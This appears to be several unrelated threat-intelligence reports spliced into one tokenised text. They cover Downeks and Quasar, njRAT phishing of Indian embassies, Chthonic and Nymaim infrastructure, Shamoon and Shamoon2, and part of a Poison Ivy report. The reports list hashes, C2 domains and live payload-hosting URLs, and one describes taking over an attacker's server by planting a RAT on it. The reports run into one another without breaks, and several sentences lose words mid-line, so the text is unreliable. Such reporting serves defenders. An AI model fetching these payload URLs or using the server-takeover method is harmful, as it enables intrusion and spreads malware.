Through this vector , we could drop our own Quasar clien on the attacker ’s server and execute it .
Our Quasar RAT will connect to our own ( secured , of course ) Quasar serve , allowing us to control that attacker ’s server with his own RAT .
We can also replace “ shfolder.dll ” ( and add a DLL export proxy to avoid a crash ) , which is loaded whenever the attacker clicks the builder tab – allowing us to infect the server while it runs , without the need to wait for application restart .
Although Downeks has been publicly examined to some extent , our analysis found several features not previously described .
Earlier Downeks samples were all written in native code .
However , among our Downeks samples , we found new versions apparently written in .NET .
We observe many behavioral similarities and unique strings across both the native-Downeks versions , and the new .NET Downeks versions .
Almost all of the strings and behaviors we describe in this analysis of a .NET version are also present in the native version .
We observed these samples deployed only against Hebrew-speaking targets .
Downeks .NET internal name is “ SharpDownloader ” , “ Sharp ” may be a reference to the language it was written in – C# .
As seen in previous Downeks versions , it uses masquerades with icons , filenames and metadata imitating popular legitimate applications such as VMware workstation and CCleaner , or common file formats such as DOC and PDF .
All 3 samples were compiled with the same timestamp .
Downeks.NET is obfuscated using “ Yano ” and can be easily de-obfuscated using the de4dot utility .
SHA256 : 4dcf5bd2c7a5822831d9f22f46bd2369c4c9df17cc99eb29975b5e8ae7e88606 .
SHA256 : 905f6a62749ca6f0fd33345d6a8b1831d87e9fd1f81a59cd3add82643b367693 .
SHA256 : c885f09b10feb88d7d176fe1a01ed8b480deb42324d2bb825e96fe1408e2a35f .
Downeks is a backdoor with only very basic capabilities .
It communicates with the C2 server using HTTP POST requests .
It runs in an infinite loop , in each iteration it requests a command from the C2 , and then it sleeps for a time period it receives in the C2 response ( defaulting to 1 second if no sleep-time sent ) .
The data that is sent in the POST is serialized with json , which is then is encrypted , and finally encoded in base64 .
The json format is typically { “mth ” :” some_method ” , “ data ” :” some_encrypted_data ” } .
server responds using the same format and serialization/encryption/encoding .
As described in earlier analyses , Downeks ’ main purpose is as a downloader .
Unfortunately , we were unable to get anyservers to issue download commands to any samples that we tested in our lab .
The download is initiated upon receiving json with a “ download ” command , which includes the URL of the file to be downloaded .
Downeks can also be instructed to execute binaries that already exist on the victim machine .
After successful execution , Downeks returns the results to theDowneks also has a self-update capability , if instructed by the C2 .
Downeks can be instructed with the “ img ” command to capture the victim screen and transmit it back to the C2 .
The parameters “ wth ” and “ qlt ” specify “ width ” and “ quality ” .
Downeks .NET creates a file in the “ Appdata ” directory , based on certain properties of the machine .
During our analysis , Downeks created a file in “ Appdata\Roaming ” containing only “ SD{new line} 0 ” ( “ SD ” possibly for “ SharpDownloader ” ) .
Although this file itself is not particularly interesting , the older ( native ) Downeks versions also creates a file in Appdata\Roaming , with identical data .
The filenames across the two variants bear striking similarities .
The .NET variant creates “ 1FABFBFF0000065132F71D94 ” , while the native version creates “ 000206511FABFBFF ” .
We observed the string “ 1FABFBFF0000065132F71D94 ” in memory during debugging of the native variant .
This is a pseudo-unique ID for each machine , based on install date taken from the registry , volume serial number , OS version and service pack , Processor architecture , and computer name .
Downeks enumerates any antivirus products installed on the victim machine and transmits the list to the C2 .
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It constructs this list using the WMI query : “SELECT displayName FROM AntivirusProduct ” .
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It constructs this list using the WMI query : “SELECT displayName FROM AntivirusProduct ” .
Downeks achieves host persistence through either the registry “ run ” key or with a shortcut in the start-up folder .
In another similarity between both variants , Dowenks assesses the victim ’s external IP using an HTTP request toDowneks can be instructed by the C2 to perform a few other commands :Check if the computer name and user name , or external IP address , is in a provided list and if so , display a message box with a message as defined by the C2 .
Kill any running process and attempt to delete the associated executable .
“ Setup ” command – sends various info about the machine with each iteration of the C2 communications loop .
Downeks has static encryption keys hardcoded in the code .
Palo Alto Networks customers are protected from Downeks and Quasar used in this attack :WildFire properly classifies these Downeks and Quasar samples as malicious .
Traps detects and blocks malicious behavior exhibited by new , unknown Quasar samples .
C2 servers associated with this activity are blocked through Threat Prevention DNS signatures .
URI TERROR ATTACK & KASHMIR PROTEST THEMED SPEAR PHISHING emails TARGETING INDIAN EMBASSIES AND INDIAN MINISTRY OF EXTERNAL AFFAIRS - CYSINFO .
In my previous blog I posted details of a cyber attack targeting Indian government organizations .
This blog post describes another attack campaign where attackers used the Uri terror attack and Kashmir protest themed spear phishing email to target officials in the Indian Embassies and Indian Ministry of External Affairs ( MEA ) .
In order to infect the victims , the attackers distributed spear-phishing emails containing malicious word document which dropped a malware capable of spying on infected systems .
The email purported to have been sent from legitimate email ids .
The attackers spoofed the email ids associated with Indian Ministry of Home Affairs to send out email to the victims .
Attackers also used the name of the top-ranking official associated with Minister of Home affairs in the signature of the email , this is to make it look like the email was sent by a high-ranking Government official associated with Ministry of Home Affairs ( MHA ) .
In the The first wave of attack , The attackers spoofed an email id that is associated with Indian Ministry of Home Affairs ( MHA ) and an email was sent on September 20th , 2016 ( just 2 days after the Uri terror attack ) to an email id associated with the Indian Embassy in Japan .
The email was made to look like as if an investigation report related to Uri terror attack was shared by the MHA official .
On Sept 20th,2016 similar Uri Terror report themed email was also sent to an email id connected with Indian embassy in Thailand .
This email was later forwarded on Oct 24th,2016 from a spoofed email id which is associated with Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs as shown in the below screen shot .
In this case Attackers again spoofed an email id associated with Indian Ministry of Home Affairs and the mail was sent on September 1,2016 to an email id associated Thailand Indian embassy , this email was later forwarded on Oct 24th,2016 from a spoofed email of Thailand Indian embassy to various email recipients connected to the Indian Ministry of External Affairs ( MEA ) .
This time the email was made to look like an investigation report related to Jammu & Kashmir protest was shared by the Ministry of Home Affairs Official and the forwarded email was made to look like the report was forwarded by an Ambassador in Thailand Indian embassy to the MEA officials .
From the emails ( and the attachments ) it looks like the goal of the attackers was to infect and take control of the systems and also to spy on the actions of the Indian Government post the Jammu & Kashmir protest and Uri Terror attack .
When the victim opens the attached word document it prompts the user to enable macro content and both the documents ( Uri Terror Report.doc and mha-report.doc ) displayed the same content and contained a Show Document button .
In case of both the documents ( Uri Terror Report.doc and mha-report.doc ) the malicious macro code was heavily obfuscated (used obscure variable/function names to make analysis harder ) and did not contain any auto execute functions .
Malicious activity is trigged only on user interaction , attackers normally use this technique to bypass sandbox/automated analysis .
Reverse engineering both the word documents ( Uri Terror Report.doc & mha-report.doc ) exhibited similar behaviour except the minor difference mentioned below .
In case of mha-report.doc the malicious activity triggered only when the show document button was clicked , when this event occurs the macro code calls a subroutine CommandButton1_Click() which in turn calls a malicious obfuscated function ( Bulbaknopka() ) .
In case of Uri Terror Report.doc the malicious activity triggered when the document was either closed or when the show document button was clicked , when any of these event occurs a malicious obfuscated function ( chugnnarabashkoim() ) gets called .
The malicious macro code first decodes a string which contains a reference to the pastebin url .
The macro then decodes a PowerShell script which downloads base64 encoded content from the pastebin url .
The base64 encoded content downloaded from the Pastebin link is then decoded to an executable and dropped on the system .
The technique of hosting malicious code in legitimate sites like Pastebin has advantages and it is highly unlikely to trigger any suspicion in security monitoring and also can bypass reputation based devices .
The dropped file was determined as modified version of njRAT trojan .
The dropped file ( officeupdate.exe ) is then executed by the macro code using the PowerShell script .
njRAT is a Remote Access Tool ( RAT ) used mostly by the actor groups in the middle east .
Once infected njRAT communicates to the attacker and allows the attacker to log keystrokes , upload/download files , access victims web camera , audio recording , steal credentials , view victims desktop , open reverse shell etc .
The dropped file was analyzed in an isolated environment ( without actually allowing it to connect to the c2 server ) .
Once the dropped file ( officeupdate.exe ) is executed the malware drops additional files ( googleupdate.exe , malib.dll and msccvs.dll ) into the %AllUsersProfile%\Google directory and then executes the dropped googleupdate.exe Upon execution malware makes a connection to the c2 server on port 5555 and sends the system & operating system information along with some base64 encoded strings to the attacker as shown below .
This section contains the details of the c2 domain ( khanji.ddns.net ) .
Attackers used the DynamicDNS to host the c2 server , this allows the attacker to quickly change the IP address in real time if the malware c2 server infrastructure is unavailable .
The c2 domain was associated with multiple IP addresses in past .
During the timeline of this cyber attack most of these IP addresses were located in Pakistan and few IP addresses used the hosting provider infrastructure .
The c2 domain ( khanji.ddns.net ) was also found to be associated with multiple malware samples in the past , Some of these malware samples made connection to pastebin urls upon execution , which is similar to the behavior mentioned previously .
Based on the base64 encoded content posted in the Pastebin , userid associated with the Pastebin post was determined .
The same user posted multiple similar posts most of them containing similar base64 encoded content ( probably used by the malwares in other campaigns to decode and drop malware executable ) , these posts were made between July 21st , 2016 to September 30 , 2016 .
Below screen shot shows the posts made by the user , the hits column in the below screen shot gives an idea of number of times the links were visited ( probably by the malicious macro code ) , this can give rough idea of the number of users who are probably infected as a result of opening the malicious document .
Doing a Google search for the Pastebin userid landed me on a YouTube video posted by an individual demonstrating his modified version of njRAT control panel/builder kit .
The Pastebin userid matched with the email ID mentioned by this individual in the YouTube video description section .
This same keyword was also found in the njRAT c2 communication used in this attack .
After inspecting the njRAT builder kit it was determined that this individual customized the existing njRAT builder kit to bypass security products .
The product information in the builder kit matched with this individual ’s YouTube username and the YouTube channel .
The njRAT used in this cyber attack was built from this builder kit .
Based on this information it can be concluded that espionage actors used this individual ’s modified version of njRAT in this cyber attack .
Even though this individual ’s email id matched with the Pastebin id where base64 encoded malicious code was found , it is hard to say if this individual was or was not involved in this cyber attack .
It could be possible that the espionage actors used his public identity as a diversion to mislead and to hide the real identity of the attackers or it is also possible that this individual was hired to carry out the attack .
The indicators are provided below , these indicators can be used by the organizations ( Government , Public and Private organizations ) to detect and investigate this attack campaign .
14b9d54f07f3facf1240c5ba89aa2410 ( googleupdate.exe ) .
2b0bd7e43c1f98f9db804011a54c11d6 ( malib.dll ) .
feec4b571756e8c015c884cb5441166b ( msccvs.dll ) .
84d9d0524e14d9ab5f88bbce6d2d2582 ( officeupdate.exe ) .
khanji.ddns.net 139.190.6.180 39.40.141.25 175.110.165.110 39.40.44.245 39.40.67.219 .
http://pastebin.com/raw/5j4hc8gT http://pastebin.com/raw/6bwniBtB .
028caf3b1f5174ae092ecf435c1fccc2 7732d5349a0cfa1c3e4bcfa0c06949e4 9909f8558209449348a817f297429a48 63698ddbdff5be7d5a7ba7f31d0d592c 7c4e60685203b229a41ae65eba1a0e10 e2112439121f8ba9164668f54ca1c6af .
Attackers in this case made every attempt to launch a clever attack campaign by spoofing legitimate email ids and using an email theme relevant to the targets .
The following factors in this cyber attack suggests the possible involvement of Pakistan state sponsored cyber espionage group to mainly spy on India ’s actions related to these Geo-political events ( Uri terror attack and Jammu & Kashmir protests ) .
Victims/targets chosen ( Indian Embassy and Indian MEA officals ) .
Use of email theme related to the Geo-political events that is of interest to the targets .
Timing of the spear phishing emails sent to the victims .
Location of the c2 infrastructure .
Use of malware that is capable of spying on infected systems .
The following factors show the level of sophistication and reveals the attackers intention to remain stealthy and to gain long-term access by evading anti-virus , sandbox and security monitoring at both the desktop and network levels .
Use of obfuscated malicious macro code .
Use of macro code that triggers only on user intervention ( to bypass sandbox analysis ) .
Use of legitimate site ( Pastebin ) to host malicious code ( to bypass security monitoring ) .
Use of customized njRAT ( capable of evading anti-virus ) .
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The Curious Case of Notepad and Chthonic : Exposing a Malicious Infrastructure .
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The Curious Case of Notepad and Chthonic : Exposing a Malicious Infrastructure .
Recently , I ’ve been investigating malware utilizing PowerShell and have spent a considerable amount of time refining ways to identify new variants of attacks as they appear .
This posting is a follow-up of my previous work on this subject in“ Pulling Back the Curtains on EncodedCommand PowerShell Attacks ” .
In a sample I recently analyzed , something stood out as extremely suspicious which led me down a rabbit hole , uncovering malicious infrastructure supporting Chthonic , Nymaim , and other malware and malicious websites .
Throughout this blog post I present my analysis and thought process during this research , but if you would just like a list of the findings , they are over on our Unit42 GitHub .
Most commonly , PowerShell is launched from a Microsoft Office document that uses a VBA macro to launch PowerShell to perform something malicious – typically downloading the “ real ” malware to run .
I focused my hunting on the PowerShell activity with Palo Alto Networks AutoFocus to determine whether it ’s worth digging into further based on “ uniqueness ” and functionality .
In this case , the first sample I looked at stood out for another reason entirely .
If you take a look at the below PowerShell , you ’ll quickly understand why .
Most commonly , PowerShell is launched from a Microsoft Office document that uses a VBA macro to launch PowerShell to perform something malicious – typically downloading the “ real ” malware to run .
I focused my hunting on the PowerShell activity with Palo Alto Networks AutoFocus to determine whether it ’s worth digging into further based on “ uniqueness ” and functionality .
My initial thought was the worst-case scenario – they ’ve been compromised and are distributing malware ! I immediately downloaded the file from the website , but everything looked normal .
Of course , I had to investigate further .
Looking under the hood we see the VBA code that builds thecommand and launches it but something seemed off .
There are a ton of functions that are clearly decoding information from arrays after which it executes an already decoded PowerShell command .
I decided to debug the macro and see exactly what it ’s doing before I made any decisions .
The most likely conclusion that can be drawn here is that an analyst or researcher obtained this file , modified it to see the content ( misspelling the variable name along the way ) post-decoding , and uploaded it to see what it did in a sandbox .
To be sure though , I needed to find other samples and see how they stacked up against this one .
Going back to the PowerShell command , the initial reason I stopped to look at it was due to the way they concatenated variables to form the download command and output .
This also provides a perfect pivot point to hunt for samples .
The dates were all fairly recent , having been received in the past few days since the beginning of August .
The documents shared the same themes for lures but the VBA macro and resulting PowerShell were more along the lines of what I expected .
For sample “ 538ff577a80748d87b5e738e95c8edd2bd54ea406fe3a75bf452714b17528a87 ” the following is an excerpt from the VBA macro building the PowerShell command .
Along with the subsequent Process Activity using the newly built PowerShell command , which aligns with what was commented out of the first sample analyzed .
Given this , I iterated over all 171 samples and extracted the following URL ’s where PowerShell is downloading a payload :After iterating over the 171 samples , we ’re left with this list of hashes for the downloaded files .
Note that there are fewer payloads than there are samples , indicating many of the documents download the same payload .
Below is a table with the compile date and some PDB strings found within a few of the binaries .
Most of the compile times are within the past two months , with 6 in August and a couple from as recently as two days ago at the time of this writing .
29c7740f487a461a96fad1c8db3921ccca8cc3e7548d44016da64cf402a475ad 2016-12-10 01 .
d5e56b9b5f52293b209a60c2ccd0ade6c883f9d3ec09571a336a3a4d4c79134b 2016-12-10 03 C:\RAMDrive\Charles\heaven\reams\Teac.pdb .
dd5f237153856d19cf20e80ff8238ca42047113c44fae27b5c3ad00be2755eea 2016-12-10 16 C:\Cleaner\amuse\rang\AutoPopulate\la.pdb .
a5001e9b29078f532b1a094c8c16226d20c03922e37a4fca2e9172350bc160a0 2016-12-20 18 .
8284ec768a06b606044defe2c2da708ca6b3b51f8e58cb66f61bfca56157bc88 2017-07-05 10 .
f0ce51eb0e6c33fdb8e1ccb36b9f42139c1dfc58d243195aedc869c7551a5f89 2017-07-09 20 C:\TableAdapter\encyclopedia\Parik.pdb .
145d47f4c79206c6c9f74b0ab76c33ad0fd40ac6724b4fac6f06afec47b307c6 2017-07-10 08 C:\ayakhnin\reprductive\distortedc.pdb .
dc8f34829d5fede991b478cf9117fb18c32d639573a827227b2fc50f0b475085 2017-07-11 01 C:\positioning\scrapping\Szets\thi.pdb .
7fe1069c118611113b4e34685e7ee58cb469bda4aa66a22db10842c95f332c77 2017-07-11 02 C:\NeXT\volatile\legacyExchangeDNs.pdb .
5edf117e7f8cd176b1efd0b5fd40c6cd530699e7a280c5c7113d06e9c21d6976 2017-07-12 23 .
2a80fdda87127bdc56fd35c3e04eb64a01a159b7b574177e2e346439c97b770a 2017-07-13 00. a9021e253ae52122cbcc2284b88270ceda8ad9647515d6cca96db264a76583f5 2017-07-18 00 .
dd639d76ff6f33bbfaf3bd398056cf4e95e27822bd9476340c7703f5b38e0183 2017-07-18 00 .
e5a00b49d4ab3e5a3a8f60278b9295f3d252e3e04dadec2624bb4dcb2eb0fada 2017-07-24 17 .
6263730ef54fbed0c2d3a7c6106b6e8b12a6b2855a03e7caa8fb184ed1eabeb2 2017-07-24 22 C:\Snapshot\Diskette\hiding\ROCKMA.pdb .
43bfaf9a2a4d46695bb313a32d88586c510d040844f29852c755845a5a09d9df 2017-07-25 06 .
b41660db6dcb0d3c7b17f98eae3141924c8c0ee980501ce541b42dc766f85628 2017-07-25 06 C:\mdb\Changed\Container\praise.pdb .
9acdad02ca8ded6043ab52b4a7fb2baac3a08c9f978ce9da2eb51c816a9e7a2e 2017-07-25 07 .
2ddaa30ba3c3e625e21eb7ce7b93671ad53326ef8b6e2bc20bc0d2de72a3929d 2017-07-25 20 C:\helpers\better\Expr\Eight\DS.pdb .
b836576877b2fcb3cacec370e5e6a029431f59d5070da89d94200619641ca0c4 2017-07-26 12 C:\V\regard\violates\update\AMBW\a.pdb .
0972fc9602b00595e1022d9cfe7e9c9530d4e9adb5786fea830324b3f7ff4448 2017-07-26 20 .
2c258ac862d5e31d8921b64cfa7e5a9cd95cca5643c9d51db4c2fcbe75fa957a 2017-07-27 01 C:\executablery\constructed\IIc.pdb .
dd9c558ba58ac81a2142ecb308ac8d0f044c7059a039d2e367024d953cd14a00 2017-07-27 02 .
cb3173a820ac392005de650bbd1dd24543a91e72d4d56300a7795e887a8323b2 2017-07-31 14 C:\letterbxing\EVP\Chices\legit.pdb .
a636f49814ea6603534f780b83a5d0388f5a5d0eb848901e1e1bf2d19dd84f05 2017-07-31 18 C:\Biomuse\moment\705\cnvincing.pdb .
677dd11912a0f13311d025f88caabeeeb1bda27c7c1b5c78cffca36de46e8560 2017-07-31 21 .
fdedf0f90d42d3779b07951d1e8826c7015b3f3e724ab89e350c9608e1f23852 2017-08-01 21 .
142bf7f47bfbd592583fbcfa22a25462df13da46451b17bb984d50ade68a5b17 2017-08-02 09 .
6f4b2c95b1a0f320da1b1eaa918c338c0bab5cddabe169f12ee734243ed8bba8 2017-08-02 12 C:\cataloging\Dr\VarianceShadows11.pdb .
fd5fd7058cf157ea249d4dcba71331f0041b7cf8fd635f37ad13aed1b06bebf2 2017-08-04 02 C:\dumplings\That\BIT\Warez\loc.pdb .
5785c2d68d6f669b96c3f31065f0d9804d2ab1f333a90d225bd993e66656b7d9 2017-08-07 12 C:\Lgisys\hypothesized\donatedc.pdb .
675719a9366386034c285e99bf33a1a8bafc7644874b758f307d9a288e95bdbd 2017-08-07 17 C:\work\cr\nata\cpp\seven\seven\release\seven.pdb .
At least one of the binaries compiled in August had a PDB string I was able to locate online in a collection of other PDB files , so they may be introducing their malicious code into these files before compiling someone else ’s project .
Once the file has been downloaded and executed , the new process will launch a legitimate executable , such as “ msiexec.exe ” , and inject code into it .
This code will then download further payloads through a POST request to various websites .
This pattern is shared across the original samples .
These HTTP requests match known patterns for a banking Trojan named Chthonic , which is a variant of Zeus .
A good write-up from 2014 on the malware can be found in this writeup from Yury Namestnikov , Vladimir Kuskov , Oleg Kupreev at Kaspersky Lab here and indicates that the returned data is an RC4 encrypted loader that sets-up the main Chthonic module which can download additional modules or malware .
Iterating once again over the 171 samples and scraping out the HTTP POST requests , I ended up with the below set of domains :amellet.bit danrnysvp.com ejtmjealr.com firop.com gefinsioje.com gesofgamd.com ponedobla.bit unoset.com .
Using this as the next pivot , we have 6,034 unique samples that get returned in AutoFocus having made POST requests to these sites .
Additionally , we can see there were at least 3 very large campaigns where Palo Alto Networks saw activity to these sites in July .
From these distribution sites , we can see that 5,520 samples are making HTTP requests to them and these samples have been identified as another downloader Trojan named Nymaim .
The majority of the overall samples came from the following four sites :ejtmjealr.com gefinsioje.com gesofgamd.com ponedobla.bit .
The ‘ ejtmjealr.com ’ domain is particularly interesting due to a similar domain , ‘ ejdqzkd.com ’ being discussed by Jarosław Jedynak of CERT.PL in this analysis of Nymaim from earlier in the year .
They go on to discuss how Nymaim uses a static configuration to contact that domain , which will return IP ’s that go into a DGA and output the actual IP addresses needed for C2 communication .
Ben Baker , Edmund Brumaghin and Jonah Samost of Talos have a fantastic write-up of this process here .
To continue my analysis , I shifted focus to Maltego so as to visually graph the infrastructure .
For this task , I used PassiveTotal ’s Passive DNS and AutoFocus Maltego transforms .
Pivoting off the five highlighted IP ’s above with a shared infrastructure , I pulled the reverse DNS to see what other sites may be present .
The “ idXXXXX.top ” pattern immediately stands out and may suggest a pattern in the static configuration for the initial domains used by the DGA for Nymaim since the previous two started with “ ejX.com .
Given the level of overlap already , I proceeded to grab all of the passive DNS available for each of the 707 IP addresses .
A full list of the domains can be seen here .
From the first cluster on the left , if we sort by incoming links per node a pattern stands out in the domain names looking similar to the previously mentioned Nymaim ones .
A quick search with the AutoFocus transform to pull tag information shows these are specifically related to Nymaim , most likely for the DGA seed ; however , looking at domains with less links , other malware families begin to emerge .
The cluster on the right is actually collapsing one collection of entities due to the sheer size of it .
All of these connected domains follow a pattern similar to phishing attacks masquerading as legitimate services – in this case “ online.verify.paypal ” ( 588 ) and “ hmrc.secure.refund ” ( 1021 ) .
In addition to domains of that type , there is evidence of other malware distribution being carried out on this infrastructure .
Collapsing the collection back down , note the two domains “ brontorittoozzo.com ” and “ randomessstioprottoy.net ” that fall outside of the collection due to more infrastructure connections .
By pivoting off of one sample we were able to zoom out and identify a sizable infrastructure of what appears to be 707 IP ’s and 2,611 domains being utilized for malicious activity .
As such , these findings represent a collection of compromised websites , compromised registrar accounts used to spin up subdomains , domains used by malware DGA ’s , phishing kits , carding forums , malware C2 sites , and a slew of other domains that revolve around criminal activity .
Hopefully this analysis has been helpful in understanding how truly connected some of these infrastructures can be and how with a little digging , you can uncover a substantial amount of operationally useful indicators to protect you and yours .
The Full Shamoon : How the Devastating Malware Was Inserted Into NetworksResearchers from the IBM X-Force Incident Response and Intelligence Services ( IRIS ) team identified a missing link in the operations of a threat actor involved in recent Shamoon malware attacks against Gulf state organizations .
These attacks , which occurred in November 2016 and January 2017 , reportedly affected thousands of computers across multiple government and civil organizations in Saudi Arabia and elsewhere in Gulf states .
Shamoon is designed to destroy computer hard drives by wiping the master boot record ( MBR ) and data irretrievably , unlike ransomware , which holds the data hostage for a fee .
Through their recent investigations , our forensics analysts pinpointed the initial compromise vector and post-compromise operations that led to the deployment of the destructive Shamoon malware on targeted infrastructures .
It ’s worth mentioning that , according to X-Force IRIS , the initial compromise took place weeks before the actual Shamoon deployment and activation were launched .
Since Shamoon incidents feature the infiltration and escalation stages of targeted attacks , X-Force IRIS responders sought out the attackers ’ entry point .
Their findings pointed to what appears to be the initial point of compromise the attackers used : a document containing a malicious macro that , when approved to execute , enabled C2 communications to the attacker ’s server and remote shell via PowerShell .
The document was not the only one discovered in the recent attack waves .
X-Force IRIS researchers had been tracking earlier activity associated with similar malicious , PowerShell-laden documents themed as resumes and human resources documents , some of which related to organizations in Saudi Arabia .
This research identified several bouts of offensive activity that occurred in the past few months , which revealed similar operational methods in which the attackers served malicious documents and other malware executables from web servers to their targets to establish an initial foothold in the network .
Although Shamoon was previously documented in research blogs , the specific network compromise methods leading to the attacks have remained unclear in the reported cases .
X-Force IRIS researchers studied Shamoon ’s attack life cycle and observed its tactics at Saudi-based organizations and private sector companies .
This research led them to believe that the actor using Shamoon in recent attacks relied heavily on weaponized documents built to leverage PowerShell to establish their initial network foothold and subsequent operations :Attackers send a spear phishing email to employees at the target organization .
The email contains a Microsoft Office document as an attachment .
Opening the attachment from the email invokes PowerShell and enables command line access to the compromised machine .
Attackers can now communicate with the compromised machine and remotely execute commands on it .
The attackers use their access to deploy additional tools and malware to other endpoints or escalate privileges in the network .
Attackers study the network by connecting to additional systems and locating critical servers .
The attackers deploy the Shamoon malware .
A coordinated Shamoon outbreak begins and computer hard drives across the organization are permanently wiped .
X-Force IRIS identified the below malicious document .
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File Detail : Info File name : job_titles_itworx.doc .
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File Detail : Info File name : job_titles_itworx.doc .
MD5 : 43fad2d62bc23ffdc6d301571135222c .
SHA256 : e5b643cb6ec30d0d0b458e3f2800609f260a5f15c4ac66faf4ebf384f7976df6 .
Hosting URL : http://briefl.ink/qhtma .
Passive DNS results on a communications domain associated with the Shamoon attack revealed related network infrastructure , identifying additional domains used by the threat actors .
Domain Name : Spoofed Site ntg-sa.com The domain ntg-sa.com appears to spoof the legit domain ntg.sa.com associated with the Namer Trading Group .
Per their webpage , NTG “ was established primarily to cater the growing demands of Petrochemicals waste management within the Kingdom of Saudi Arabia ” .
maps-modon.club : The maps-modon.club domain appears to spoof maps.modon.gov.sa , which is associated with the Saudi Industrial Property Authority , an organization “ responsible for the development of industrial cities with integrated infrastructure and services ” .
X-Force IRIS discovered that the threat actor was hosting at least one malicious executable on a server hosted on ntg-sa.com .
This file duped targets into believing it was a Flash player installer that would drop a Windows batch to invoke PowerShell into the same C2 communications .
Analysis of one of the threat actor ’s documents found that if the macro executes , it launches two separate PowerShell Scripts .
The first one executes a PowerShell script served from http://139.59.46.154:3485/eiloShaegae1 .
The host is possibly related to attacks that served the Pupy RAT , a publicly available cross-platform remote access tool .
The second script calls VirtualAlloc to create a buffer , uses memset to load Metasploit-related shellcode into that buffer and executes it through CreateThread .
Metasploit is an open source framework popular as a tool for developing and executing exploit code against a remote target machine .
The shellcode performs a DWORD XOR of 4 bytes at an offset from the beginning of the shellcode that changes the code to create a loop so the XOR continues 0x57 times .
If this execution is successful , it creates a buffer using VirtualAlloc and calls InternetReadFile in a loop until all the file contents are retrieved from http://45.76.128.165:4443/0w0O6 .
This is then returned as a string to PowerShell , which calls invoke-expression ( iex ) on it , indicating that the expected payload is PowerShell .
Of note , the macro contained a DownloadFile() function that would use URLDownloadToFileA , but this was never actually used .
Based on observations associated with the malicious document , we observed subsequent shell sessions probably associated with’s Meterpreter that enabled deployment of additional tools and malware preceding deployment of three Shamoon-related files : ntertmgr32.exe , ntertmgr64.exe and vdsk911.sys .
Although the complete list of Shamoon ’s victims is not public , Bloomberg reported that in one case , thousands of computers were destroyed at the headquarters of Saudi ’s General Authority of Civil Aviation , erasing critical data and bringing operations to a halt for several days .
The recent activity X-Force IRIS is seeing from the Shamoon attackers has so far been detected in two waves , but those are likely to subside following the public attention the cases have garnered since late 2016 .
Saudi Arabia released a warning to local organizations about the Shamoon malware , alerting about potential attacks and advising organizations to prepare .
Additional Insights on Shamoon2 .
IBM analysts recently unveiled a first look at how threat actors may have placed Shamoon2 malware on systems in Saudi Arabia .
Researchers showcased a potential malware lifecycle which started with spear phishing and eventually led to the deployment of the disk-wiping malware known as Shamoon .
Their research showcased a set of downloaders and domains that could potentially lead to a more extensive malware distribution campaign .
While researching elements in the IBM report , ASERT discovered additional malicious domains , IP addresses , and artifacts .
The basic functionality of the new documents and their PowerShell components matched what was previously disclosed .
For more information on the overall capabilities of the malware , please review IBM 's ongoing research .
It is our hope that by providing additional indicators , end-point investigators and network defenders will be able to discover and mitigate more Shamoon2 related compromises .
The following new samples were likely delivered via similar spear phishing campaigns as described in IBM 's research .
All three shared the same IPs and URLs , also provided below .
These samples were located by pivoting on document attributes .
In this case , a sample from the IBM report indicated the document author ‘ gerry.knight ’ which led us to the following three additional samples .
spear phishing : 2a0df97277ddb361cecf8726df6d78ac 5e5ea1a67c2538dbc01df28e4ea87472 d30b8468d16b631cafe458fd94cc3196 .
spear phishing : 104.218.120.128 .
spear phishing : 69.87.223.26 .
spear phishing : 5.254.100.200 .
spear phishing : analytics-google.org : 69/checkFile.aspx .
spear phishing : analytics-google.org .
spear phishing : 69.87.223.26:8080/p .
From the previous samples , we performed a passive DNS lookup on the IPs .
We found get.adobe.go-microstf.com hosted at 104.218.120.128 around the time this campaign was ongoing , November 2016 .
Researching the domain go-microstf.com , hosted at 45.63.10.99 , revealed yet another iteration of malicious executables .
In this case , a URL used to download the PowerShell component shared a naming convention found in the IBM report , http://69.87.223.26:8080/eiloShaegae1 and connected to the IP address used by the previous three samples .
The following are IOCs related to this domain :83be35956e5d409306a81e88a1dc89fd .
45.63.10.99 .
69.87.223.26 .
URLs go-microstf.com .
69.87.223.26:8080/eiloShaegae1 .
go-microstf.com/checkfile.aspx .
The domain go-microstf.com was originally set up to spoof Google Analytics login page .
Finally , research yielded a relatively unique sample .
This particular iteration was submitted to VirusTotal on September 16 , 2016 .
The majority of samples analyzed to date were submitted no earlier than mid-October , with most being submitted in January 2017 or later .
We were able to discover this particular version by diving further into connections to analytics-google.org .
Unlike newer samples , this one created a unique fileThe file was created at C:\Documents and Settings\Admin\Local Settings\Temp\sloo.exe .
In addition to this file , the sample also contacted 104.238.184.252 for the PowerShell executable .
Researchers at Palo Alto have attributed sloo.exe and related activities to threat actors of a likely Iranian state-sponsored origin which they ’ve named Magic Hound .
The group Magic Hound is linked via infrastructure and tools to the Rocket Kitten threat actor group although Palo Alto cannot confirm the extent of any relationship between the two groups .
Dell Secureworks analysts recently concluded that domains discussed in the IBM report were linked to the Iranian PuppyRAT .
In addition , Dell analysts have assessed with high-confidence these activities are attributable to Iranian state-sponsored activities .
IOCs for this version were :Shamoon2 : 07d6406036d6e06dc8019e3ade6ee7de .
Shamoon2 : 104.238.184.252 .
Shamoon2 : 5.254.100.200 Shamoon2 : URLs .
Shamoon2 : analytics-google.org : 69/checkFile.aspx .
These additional IOCs will hopefully provide more context into the ongoing threat .
The link to possible Iranian threat actors supports ongoing analysis that Shamoon2 was perpetrated by Iranian state-sponsored threat actors .
The last sample discussed may be malware-0 or at least part of the overall development and subsequent deployment of tools used to install Shamoon on Saudi systems .
Shamoon2 : 2a0df97277ddb361cecf8726df6d78ac .
Shamoon2 : 5e5ea1a67c2538dbc01df28e4ea87472 .
Shamoon2 : d30b8468d16b631cafe458fd94cc3196 .
Shamoon2 : 83be35956e5d409306a81e88a1dc89fd .
Shamoon2 : 07d6406036d6e06dc8019e3ade6ee7de .
Shamoon2 : 104.218.120.128 .
Shamoon2 : 69.87.223.26 .
Shamoon2 : 5.254.100.200 .
Shamoon2 : 45.63.10.99 .
Shamoon2 : 104.238.184.252 .
Shamoon2 : analytics-google.org : 69/checkFile.aspx .
Shamoon2 : analytics-google.org .
Shamoon2 : 69.87.223.26:8080/p .
Shamoon2 : go-microstf.com .
Shamoon2 : 69.87.223.26:8080/eiloShaegae1 .
Shamoon2 : get.adobe.go-microstf.com .
FireEye recently observed a sophisticated campaign targeting individuals within the Mongolian government .
Targeted individuals that enabled macros in a malicious Microsoft Word document may have been infected with Poison Ivy , a popular remote access tool ( RAT ) that has been used for nearly a decade for key logging , screen and video capture , file transfers , password theft , system administration , traffic relaying , and more .
